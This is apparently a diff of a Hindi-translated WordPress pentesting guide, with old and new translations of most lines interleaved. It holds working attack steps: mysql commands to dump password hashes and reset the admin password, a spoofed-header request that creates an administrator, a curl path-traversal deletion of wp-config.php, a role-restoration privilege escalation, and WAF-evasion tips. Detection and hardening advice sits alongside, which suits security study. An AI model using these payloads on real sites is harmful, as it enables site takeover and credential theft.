सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
|
||||
यह सामग्री WordPress dashboard में plugin इंस्टॉल और activate करने के चरणों को दर्शाने वाले विज़ुअल एड्स शामिल करती है। हालांकि, बिना उचित अनुमति के इस तरह vulnerabilities को exploit करना illegal और unethical है। यह जानकारी केवल जिम्मेदारीपूर्वक और कानूनी संदर्भ में उपयोग की जानी चाहिए, जैसे कि explicit permission के साथ penetration testing।
|
||||
|
||||
**अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** दुर्बलता को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण दुर्बलताओं में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
|
||||
- _**Privilege Escalation:**_ WordPress में एक उपयोगकर्ता बनाता है।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress में एक अंतर्निहित प्लगइन को संपादित करें।
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress में एक अंतर्निहित थीम को संपादित करें।
|
||||
- _**(Custom) Custom Exploits:**_ तृतीय-पक्ष WordPress प्लगइन्स/थीम के लिए कस्टम शोषण।
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जो एक **Cross-Site Scripting (XSS)** vulnerability को **Remote Code Execution (RCE)** या WordPress में अन्य critical vulnerabilities तक escalate करने के लिए डिज़ाइन की गई है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X and 4.X.X के लिए support प्रदान करता है और इसे निम्न कार्य करने की अनुमति देता है:**
|
||||
- _**Privilege Escalation:**_ WordPress में एक user बनाता है।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर upload करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress में Built-In Plugins को edit करें।
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress में Built-In Themes को edit करें।
|
||||
- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए custom exploits।
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Extract usernames and passwords:
|
||||
यूजरनेम और पासवर्ड निकालें:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
एडमिन पासवर्ड बदलें:
|
||||
admin पासवर्ड बदलें:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Attack Surface
|
||||
|
||||
एक Wordpress प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है, यह जानना इसकी कार्यक्षमता में कमजोरियों को खोजने के लिए कुंजी है। आप निम्नलिखित बुलेट पॉइंट्स में देख सकते हैं कि एक प्लगइन कैसे कार्यक्षमता को उजागर कर सकता है और [**इस ब्लॉग पोस्ट**](https://nowotarski.info/wordpress-nonce-authorization/) में कुछ कमजोर प्लगइनों के उदाहरण।
|
||||
यह जानना कि एक Wordpress plugin कैसे functionality एक्सपोज़ कर सकता है, उसकी functionality में vulnerabilities खोजने के लिए ज़रूरी है। आप निम्न बुलेट पॉइंट्स में देख सकते हैं कि कोई plugin कैसे functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं।
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्र)।
|
||||
एक plugin अपने functions को users के लिए एक्सपोज़ करने के तरीकों में से एक AJAX handlers के माध्यम से कर सकता है। इनमें लॉजिक, authorization, या authentication बग्स हो सकते हैं। इसके अलावा, अक्सर ऐसा होता है कि ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित कर देते हैं, जो **Wordpress instance में प्रमाणीकृत कोई भी user के पास हो सकता है** (उसकी role के बावजूद)।
|
||||
|
||||
ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:
|
||||
These are the functions that can be used to expose a function in a plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv` का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।**
|
||||
**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) के लिए पहुँच योग्य बना देता है।**
|
||||
|
||||
> [!CAUTION]
|
||||
> इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जांच कर रहा है `wp_verify_nonce` फ़ंक्शन के साथ, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
|
||||
> इसके अलावा, यदि फ़ंक्शन केवल उपयोगकर्ता के प्राधिकरण की जाँच के लिए `wp_verify_nonce` फ़ंक्शन का उपयोग कर रहा है, तो यह फ़ंक्शन केवल यह जाँचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता। इसलिए कम-विशेषाधिकार उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली क्रियाओं तक पहुँच मिल सकती है।
|
||||
|
||||
- **REST API**
|
||||
|
||||
यह `register_rest_route` फ़ंक्शन का उपयोग करके वर्डप्रेस से फ़ंक्शंस को उजागर करना भी संभव है:
|
||||
यह भी संभव है कि wordpress से फ़ंक्शन को `register_rest_route` फ़ंक्शन का उपयोग करके rest AP में रजिस्टर करके एक्सपोज़ किया जाए:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
`permission_callback` एक फ़ंक्शन के लिए कॉलबैक है जो यह जांचता है कि क्या एक निर्दिष्ट उपयोगकर्ता API विधि को कॉल करने के लिए अधिकृत है।
|
||||
The `permission_callback` एक callback फ़ंक्शन है जो जाँचता है कि कोई दिए गए user को API method कॉल करने के लिए अधिकृत है या नहीं।
|
||||
|
||||
**यदि अंतर्निहित `__return_true` फ़ंक्शन का उपयोग किया जाता है, तो यह बस उपयोगकर्ता अनुमतियों की जांच को छोड़ देगा।**
|
||||
**यदि built-in `__return_true` फ़ंक्शन उपयोग किया गया है, तो यह user permissions चेक को सीधे स्किप कर देगा।**
|
||||
|
||||
- **php फ़ाइल तक सीधी पहुँच**
|
||||
- **php फ़ाइल तक सीधे एक्सेस**
|
||||
|
||||
बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।
|
||||
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे उपलब्ध होती हैं। इसलिए, अगर कोई plugin ऐसी कोई कमजोर फ़ंक्शनैलिटी एक्सपोज़ कर रहा है जो केवल फाइल तक पहुँचने से ट्रिगर हो जाती हो, तो वह किसी भी user द्वारा शोषित की जा सकती है।
|
||||
|
||||
### wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
WordPress थीम और प्लगइन्स अक्सर `wp_ajax_` और `wp_ajax_nopriv_` हुक के माध्यम से AJAX हैंडलर को उजागर करते हैं। जब **_nopriv_** संस्करण का उपयोग किया जाता है **तो कॉलबैक अनधिकृत आगंतुकों द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से लागू करना चाहिए:
|
||||
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए current user context सेट करने में करते हैं। यदि वह header किसी upstream component द्वारा अनुरोध के साथ cryptographically bound नहीं है, तो एक attacker उसे spoof करके administrator के रूप में privileged REST routes तक पहुँच सकता है।
|
||||
|
||||
1. एक **क्षमता जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और
|
||||
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और
|
||||
3. **कठोर इनपुट सफाई / मान्यता**।
|
||||
- प्रभाव: अप्रमाणित privilege escalation — core users REST route के माध्यम से नया administrator बनाकर admin privileges प्राप्त करना।
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 को force करता है, जो आमतौर पर पहला administrator account होता है)।
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ।
|
||||
|
||||
Litho बहुउद्देशीय थीम (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरल) भेजा:
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
क्यों यह काम करता है
|
||||
|
||||
- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकरण स्थिति से मैप करता है और capability checks को स्किप कर देता है।
|
||||
- WordPress कोर इस रूट के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बायपास करता है हेडर से current user context सीधे सेट करके।
|
||||
|
||||
अपेक्षित सफलता संकेतक
|
||||
|
||||
- HTTP 201 एक JSON बॉडी के साथ जो बनाए गए user का वर्णन करती है।
|
||||
- `wp-admin/users.php` में दिखाई देने वाला एक नया admin user।
|
||||
|
||||
डिटेक्शन चेकलिस्ट
|
||||
|
||||
- `getallheaders()`, `$_SERVER['HTTP_...']` के लिए grep करें, या vendor SDKs जो custom headers पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- उन REST registrations की समीक्षा करें जहां privileged callbacks मजबूत `permission_callback` जांचों के बिना हैं और इसके बजाय request headers पर भरोसा करते हैं।
|
||||
- REST handlers के अंदर core user-management functions (`wp_insert_user`, `wp_create_user`) के उपयोग देखें जो केवल header values द्वारा gated हैं।
|
||||
|
||||
कठोरकरण
|
||||
|
||||
- कभी भी authentication या authorization को client-controlled headers से व्युत्पन्न न करें।
|
||||
- यदि किसी reverse proxy को identity inject करनी ही हो, तो proxy पर trust terminate करें और inbound copies को strip करें (उदा., edge पर `unset X-Wcpay-Platform-Checkout-User`), फिर signed token पास करें और उसे server-side verify करें।
|
||||
- privileged actions करने वाले REST routes के लिए `current_user_can()` जांच और एक सख्त `permission_callback` आवश्यक करें (कृपया `__return_true` का उपयोग न करें)।
|
||||
- header “impersonation” के बजाय first-party auth (cookies, application passwords, OAuth) को प्राथमिकता दें।
|
||||
|
||||
संदर्भ: सार्वजनिक केस और व्यापक विश्लेषण के लिए इस पृष्ठ के अंत में दिए लिंक देखें।
|
||||
|
||||
### wp_ajax_nopriv के माध्यम से अनप्रमाणीकृत मनमाना फ़ाइल विलोपन (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers expose करते हैं। जब **_nopriv_** variant का उपयोग किया जाता है तो **callback अनप्रमाणीकृत विज़िटर्स द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से निम्न लागू करना चाहिए:
|
||||
|
||||
1. एक **capability जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और
|
||||
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` से वैध किया गया हो, और
|
||||
3. **कठोर इनपुट sanitisation / validation**।
|
||||
|
||||
Litho multipurpose theme (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) भेज दिया:
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -398,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
इस स्निपेट द्वारा उत्पन्न समस्याएँ:
|
||||
इस स्निपेट से उत्पन्न समस्याएँ:
|
||||
|
||||
* **अप्रमाणित पहुँच** – `wp_ajax_nopriv_` हुक पंजीकृत है।
|
||||
* **कोई नॉनस / क्षमता जांच नहीं** – कोई भी आगंतुक एंडपॉइंट को हिट कर सकता है।
|
||||
* **कोई पथ स्वच्छता नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टरिंग के बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक `../../` ट्रैवर्सल की अनुमति मिलती है।
|
||||
* **प्रमाणीकरण रहित एक्सेस** – `wp_ajax_nopriv_` हुक पंजीकृत है।
|
||||
* **No nonce / capability check** – कोई भी विज़िटर इस endpoint को हिट कर सकता है।
|
||||
* **No path sanitisation** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को बिना फ़िल्टर किए फ़ाइलसिस्टम पाथ के साथ जोड़ दिया जाता है, जिससे क्लासिक `../../` traversal संभव हो जाता है।
|
||||
|
||||
#### शोषण
|
||||
|
||||
एक हमलावर किसी भी फ़ाइल या निर्देशिका को **अपलोड्स बेस निर्देशिका के नीचे** (सामान्यतः `<wp-root>/wp-content/uploads/` ) को हटाने के लिए एकल HTTP POST अनुरोध भेज सकता है:
|
||||
एक हमलावर एक ही HTTP POST request भेजकर **uploads बेस डायरेक्टरी के नीचे** (सामान्यतः `<wp-root>/wp-content/uploads/`) की किसी भी फ़ाइल या डायरेक्टरी को डिलीट कर सकता है:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress *installation wizard* में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
|
||||
चूँकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन में चार `../` sequences काफी होते हैं। `wp-config.php` को डिलीट करने पर अगली विज़िट पर WordPress *installation wizard* में चला जाता है, जिससे साइट का पूरा कब्ज़ा संभव हो जाता है (आक्रमणकर्ता केवल नई DB configuration देता है और एक admin user बना लेता है)।
|
||||
|
||||
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
|
||||
अन्य प्रभावशाली लक्ष्य plugin/theme `.php` files (security plugins को तोड़ने के लिए) या `.htaccess` rules हो सकते हैं।
|
||||
|
||||
#### Detection checklist
|
||||
#### डिटेक्शन चेकलिस्ट
|
||||
|
||||
* कोई भी `add_action( 'wp_ajax_nopriv_...')` कॉलबैक जो फ़ाइल सिस्टम हेल्पर्स (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता है।
|
||||
* पथों में असंक्रमित उपयोगकर्ता इनपुट का संयोजन (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
|
||||
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता है।
|
||||
* paths में unsanitised user input का concatenation (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
|
||||
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति।
|
||||
|
||||
#### Hardening
|
||||
#### हार्डनिंग
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त के रूप में मानें और दोबारा जांचें:
|
||||
> • प्रमाणीकरण • प्राधिकरण • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
|
||||
> **Always** किसी भी disk पर write/delete operation को privileged मानें और डबल-चेक करें:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### पुरानी भूमिका पुनर्स्थापना और अनुपस्थित प्राधिकरण के माध्यम से विशेषाधिकार वृद्धि (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
कई प्लगइन्स "भूमिका के रूप में देखें" या अस्थायी भूमिका-स्विचिंग फीचर को लागू करते हैं, जो उपयोगकर्ता मेटा में मूल भूमिका(ओं) को सहेजते हैं ताकि उन्हें बाद में पुनर्स्थापित किया जा सके। यदि पुनर्स्थापना पथ केवल अनुरोध पैरामीटर (जैसे, `$_REQUEST['reset-for']`) और एक प्लगइन-निर्धारित सूची पर निर्भर करता है बिना क्षमताओं और एक मान्य नॉनस की जांच किए, तो यह एक ऊर्ध्वाधर विशेषाधिकार वृद्धि बन जाती है।
|
||||
कई plugins 'view as role' या temporary role-switching फीचर implement करते हैं, जो original role(s) को user meta में सेव करके बाद में restore करने के लिए रखते हैं। अगर restoration path केवल request parameters (e.g., `$_REQUEST['reset-for']`) और plugin-maintained सूची पर निर्भर करता है बिना capabilities चेक और valid nonce की जाँच किए, तो यह एक vertical privilege escalation बन जाता है।
|
||||
|
||||
एक वास्तविक दुनिया का उदाहरण Admin और Site Enhancements (ASE) प्लगइन (≤ 7.6.2.1) में पाया गया। रीसेट शाखा ने `reset-for=<username>` के आधार पर भूमिकाओं को पुनर्स्थापित किया यदि उपयोगकर्ता नाम एक आंतरिक सरणी `$options['viewing_admin_as_role_are']` में दिखाई दिया, लेकिन वर्तमान भूमिकाओं को हटाने और उपयोगकर्ता मेटा `_asenha_view_admin_as_original_roles` से सहेजी गई भूमिकाओं को फिर से जोड़ने से पहले न तो `current_user_can()` जांच की गई और न ही नॉनस सत्यापन किया गया:
|
||||
एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में मिला। reset ब्रांच ने roles को `reset-for=<username>` के आधार पर restore किया यदि username internal array `$options['viewing_admin_as_role_are']` में दिखाई देता था, लेकिन उसने current roles को हटाने और user meta `_asenha_view_admin_as_original_roles` से saved roles को वापस जोड़ने से पहले न तो `current_user_can()` चेक किया और न ही nonce verification की:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -466,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
क्यों यह शोषणीय है
|
||||
क्यों यह शोषणयोग्य है
|
||||
|
||||
- `$_REQUEST['reset-for']` और एक प्लगइन विकल्प पर सर्वर-साइड प्राधिकरण के बिना भरोसा करता है।
|
||||
- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में उच्च विशेषाधिकार सुरक्षित थे और उन्हें डाउनग्रेड किया गया, तो वे रीसेट पथ पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ तैनातियों में, कोई भी प्रमाणित उपयोगकर्ता `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य उपयोगकर्ता नाम के लिए रीसेट को ट्रिगर कर सकता है (टूटी हुई प्राधिकरण)।
|
||||
- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में उच्चाधिकार सुरक्षित थे और उसे डाउनग्रेड कर दिया गया, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
|
||||
- कुछ deployments में, कोई भी प्रमाणीकृत उपयोगकर्ता `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (टूटी हुई प्राधिकरण)।
|
||||
|
||||
हमले की पूर्वापेक्षाएँ
|
||||
हमले की आवश्यकताएँ
|
||||
|
||||
- कमजोर प्लगइन संस्करण जिसमें यह सुविधा सक्षम है।
|
||||
- लक्षित खाते में पहले के उपयोग से उपयोगकर्ता मेटा में एक पुराना उच्च-विशेषाधिकार भूमिका संग्रहीत है।
|
||||
- कोई भी प्रमाणित सत्र; रीसेट प्रवाह पर नॉनस/क्षमता गायब है।
|
||||
- फीचर सक्षम होने वाला असुरक्षित प्लगइन संस्करण।
|
||||
- लक्षित खाते में पहले उपयोग से user meta में बचा हुआ उच्च-प्रिविलेज रोल मौजूद होना।
|
||||
- कोई भी प्रमाणीकृत सत्र; reset फ्लो पर nonce/capability का अभाव।
|
||||
|
||||
शोषण (उदाहरण)
|
||||
```bash
|
||||
@ -486,42 +531,57 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
कमजोर निर्माणों पर, यह वर्तमान भूमिकाओं को हटा देता है और सहेजी गई मूल भूमिकाओं (जैसे, `administrator`) को फिर से जोड़ता है, प्रभावी रूप से विशेषाधिकार बढ़ाता है।
|
||||
On vulnerable builds यह current roles हटा देता है और saved original roles (e.g., `administrator`) को फिर से जोड़ देता है, प्रभावी रूप से privileges escalate कर देता है।
|
||||
|
||||
पता लगाने की चेकलिस्ट
|
||||
Detection checklist
|
||||
|
||||
- उन भूमिका-स्विचिंग सुविधाओं की तलाश करें जो उपयोगकर्ता मेटा में “मूल भूमिकाओं” को बनाए रखती हैं (जैसे, `_asenha_view_admin_as_original_roles`)।
|
||||
- रीसेट/पुनर्स्थापना पथों की पहचान करें जो:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST` से उपयोगकर्ता नाम पढ़ते हैं।
|
||||
- `add_role()` / `remove_role()` के माध्यम से भूमिकाओं को संशोधित करते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
|
||||
- एक प्लगइन विकल्प सरणी (जैसे, `viewing_admin_as_role_are`) के आधार पर अधिकृत करते हैं, न कि अभिनेता की क्षमताओं के आधार पर।
|
||||
- Role-switching features की तलाश करें जो user meta में “मूल भूमिकाएँ” persist करती हैं (e.g., `_asenha_view_admin_as_original_roles`)।
|
||||
- उन reset/restore paths की पहचान करें जो:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं।
|
||||
- `add_role()` / `remove_role()` के माध्यम से roles modify करते हैं बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के।
|
||||
- plugin option array (e.g., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं बजाय उस actor की क्षमताओं के।
|
||||
|
||||
सुरक्षा बढ़ाना
|
||||
Hardening
|
||||
|
||||
- हर स्थिति-परिवर्तन शाखा पर क्षमता जांच को लागू करें (जैसे, `current_user_can('manage_options')` या अधिक सख्त)।
|
||||
- सभी भूमिका/अनुमति परिवर्तनों के लिए नॉनस की आवश्यकता करें और उन्हें सत्यापित करें: `check_admin_referer()` / `wp_verify_nonce()`।
|
||||
- कभी भी अनुरोध-प्रदत्त उपयोगकर्ता नामों पर भरोसा न करें; प्रमाणित अभिनेता और स्पष्ट नीति के आधार पर लक्षित उपयोगकर्ता को सर्वर-साइड पर हल करें।
|
||||
- प्रोफ़ाइल/भूमिका अपडेट पर “मूल भूमिकाओं” की स्थिति को अमान्य करें ताकि पुरानी उच्च-विशेषाधिकार बहाली से बचा जा सके:
|
||||
- हर state-changing branch पर capability checks लागू करें (e.g., `current_user_can('manage_options')` या उससे भी कठोर)।
|
||||
- सभी role/permission mutations के लिए nonces आवश्यक करें और उन्हें verify करें: `check_admin_referer()` / `wp_verify_nonce()`।
|
||||
- request-से प्राप्त उपयोगकर्ता नामों पर कभी भरोसा न करें; authenticated actor और explicit policy के आधार पर target user को server-side resolve करें।
|
||||
- profile/role updates पर “मूल भूमिकाएँ” state को invalidate करें ताकि stale high-privilege restoration से बचा जा सके:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- न्यूनतम स्थिति को स्टोर करने पर विचार करें और अस्थायी भूमिका स्विच के लिए समय-सीमित, क्षमता-रक्षित टोकन का उपयोग करें।
|
||||
- कम से कम state संग्रहित करने और अस्थायी role switches के लिए समय-सीमित, capability-guarded tokens का उपयोग करने पर विचार करें।
|
||||
|
||||
---
|
||||
|
||||
## WordPress सुरक्षा
|
||||
### WAF विचार WordPress/plugin CVEs के लिए
|
||||
|
||||
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए tuned होते हैं। कई high‑impact WordPress/plugin flaws application-specific logic/auth बग होते हैं जो सामान्य ट्रैफ़िक जैसा दिखते हैं जब तक engine WordPress routes और plugin semantics को नहीं समझता।
|
||||
|
||||
Offensive notes
|
||||
|
||||
- साफ payloads के साथ plugin-specific endpoints को लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)। Default payloads अक्सर बिना obfuscation के सफल हो जाते हैं।
|
||||
- सामान्य high-impact मामलों में शामिल हैं: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- plugin CVEs की रक्षा के लिए generic WAF signatures पर भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
|
||||
- negative regex filters की अपेक्षा कोड में positive-security checks को प्राथमिकता दें (capabilities, nonces, strict input validation)।
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### नियमित अपडेट
|
||||
|
||||
सुनिश्चित करें कि WordPress, प्लगइन्स और थीम अपडेट हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
|
||||
